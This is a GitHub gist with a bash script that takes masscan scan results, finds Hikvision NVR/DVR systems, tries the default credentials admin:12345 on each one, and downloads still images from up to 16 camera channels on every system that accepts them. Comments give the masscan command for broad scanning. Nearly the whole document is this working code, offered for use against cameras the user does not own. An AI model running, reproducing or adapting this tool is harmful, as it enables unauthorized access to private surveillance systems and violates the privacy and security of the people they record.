Skip to content

Instantly share code, notes, and snippets.

@smidgedy
Last active March 4, 2022 04:39
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save smidgedy/a4c23c93073a25b1af4b9875e657d1f3 to your computer and use it in GitHub Desktop.
Save smidgedy/a4c23c93073a25b1af4b9875e657d1f3 to your computer and use it in GitHub Desktop.
This abomination pulls Hikvision NVR/DVR systems out of masscan output JSON, checks them for default creds, and dumps still images from any system it can access to aid identification. Runs faster if you have GNU Parallel. This is what happens when you start a project as a bash one-liner because opening vscode is too much effort.
#!/bin/bash
# Masscan - common ports are 80, 81, 8000, 8080, 8081, 8090, 8888, 9000, 9001
# I do it like this:
# sudo masscan --banners --source-ip <IP not in use on your network> --rate <how fast you can scan>\
# -iL <list of CIDR to scan> -p <that list of ports above> -oJ <output file.json>
# Output filenames
HIKVISION_LIST_DEFAULT='hikvision-default.txt'
HIKVISION_LIST_NON_DEFAULT='hikvision-nondefault.txt'
# Performance options - multiprocessing (if GNU Parallel present), HTTP timeout in seconds
HIKVISION_PROCESSES='24'
HIKVISION_TIMEOUT='10'
# Number of camera channels to test for
HIKVISION_CHANNEL_COUNT='16'
# Delete any images smaller than this size in bytes - removes junk
IMAGE_THRESHOLD='9999'
# Usage etc
echo "Hikvision NVR/DVR scraper"
echo "-------------------------"
hikvision-usage () {
echo "Use masscan to grab HTTP banners & produce JSON output. This tool then searches"
echo "for matching systems and attempts default credential login. When it succeeds,"
echo "it automatically downloads a still image of up to ${HIKVISION_CHANNEL_COUNT} channels. Output gets"
echo "stored in the folder hikvision-scrape/ under your PWD."
echo " "
echo "Usage: hikvision-scrape <masscan-output.json>"
echo " "
echo "Tip: install GNU Parallel for this to run a lot faster."
}
if [ "$#" -ne 1 ]; then
hikvision-usage
echo "Error: Incorrect number of parameters"
exit 1
elif [ ! -f $1 ]; then
hikvision-usage
echo "Error: Input JSON file not found"
exit 1
fi
# Clean up temporary file/folders
hikvision-clean () {
rm -rf /tmp/hikvision-scrape
}
# Set up the folder structure. output gets created under PWD
hikvision-mktemp () {
mkdir -p /tmp/hikvision-scrape/thumbs
mkdir -p ./hikvision-scrape/thumbs
touch ./hikvision-scrape/${HIKVISION_LIST_DEFAULT}
touch ./hikvision-scrape/${HIKVISION_LIST_NON_DEFAULT}
}
# Search a masscan JSON file for targets
hikvision-grep () {
# TODO: Replacing with JQ (maybe as an optional dependency would make this more robust)
grep -Fi "DNVRS-Webs" ${1} | sed 's/[",]//g' | awk '{ print "http://" $3 ":" $9; }' >> /tmp/hikvision-scrape/list.txt
sort -u -o /tmp/hikvision-scrape/list.txt /tmp/hikvision-scrape/list.txt
}
hikvision-stills () {
IP=$( echo "${1}" | cut -d/ -f3 | cut -d: -f1 | sed "s/[0-9]*\@//" )
curl -s --user admin:12345 -o "/tmp/hikvision-scrape/thumbs/${IP}-${2}.jpg" "${1}/ISAPI/Streaming/channels/${2}00/picture"
}
hikvision-test () {
res=$( curl -s --user admin:12345 -m ${HIKVISION_TIMEOUT} "${1}/ISAPI/Security/userCheck" 2> /dev/null )
if [ "$?" -eq 0 ] && echo "${res}" | grep -F "200" > /dev/null; then
# Default creds found
echo ${1} >> /tmp/hikvision-scrape/${HIKVISION_LIST_DEFAULT}
# Grab channels
for i in $( seq 1 ${HIKVISION_CHANNEL_COUNT} ); do
hikvision-stills ${1} ${i}
done
else
# Non-default creds
echo ${1} >> /tmp/hikvision-scrape/${HIKVISION_LIST_NON_DEFAULT}
fi
}
hikvision-clean-junk () {
find /tmp/hikvision-scrape/thumbs/ -type f -size "-${IMAGE_THRESHOLD}c" -delete
}
hikvision-merge-results () {
if [ -f /tmp/hikvision-scrape/${HIKVISION_LIST_NON_DEFAULT} ]; then
sort -u -o "./hikvision-scrape/${HIKVISION_LIST_NON_DEFAULT}" "/tmp/hikvision-scrape/${HIKVISION_LIST_NON_DEFAULT}" "./hikvision-scrape/${HIKVISION_LIST_NON_DEFAULT}"
fi
if [ -f /tmp/hikvision-scrape/${HIKVISION_LIST_DEFAULT} ]; then
sort -u -o "./hikvision-scrape/${HIKVISION_LIST_DEFAULT}" "/tmp/hikvision-scrape/${HIKVISION_LIST_DEFAULT}" "./hikvision-scrape/${HIKVISION_LIST_DEFAULT}"
fi
mv -f /tmp/hikvision-scrape/thumbs/* ./hikvision-scrape/thumbs/
}
hikvision-clean
hikvision-mktemp
hikvision-grep ${1}
# GNU Parallel is an optional dependency. It's faster for sure, but not 100% required.
if command -v parallel > /dev/null; then
echo "GNU Parallel found, going faster"
# These symbols need to be accessible inside of GNU parallel
export -f hikvision-test
export -f hikvision-stills
export HIKVISION_LIST_DEFAULT
export HIKVISION_LIST_NON_DEFAULT
export HIKVISION_CHANNEL_COUNT
export HIKVISION_TIMEOUT
parallel -j ${HIKVISION_PROCESSES} --bar -a /tmp/hikvision-scrape/list.txt 'hikvision-test {}'
else
while read NVR; do
echo "Checking ${NVR}"
hikvision-test ${NVR}
done < /tmp/hikvision-scrape/list.txt
fi
hikvision-clean-junk
hikvision-merge-results
hikvision-clean
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment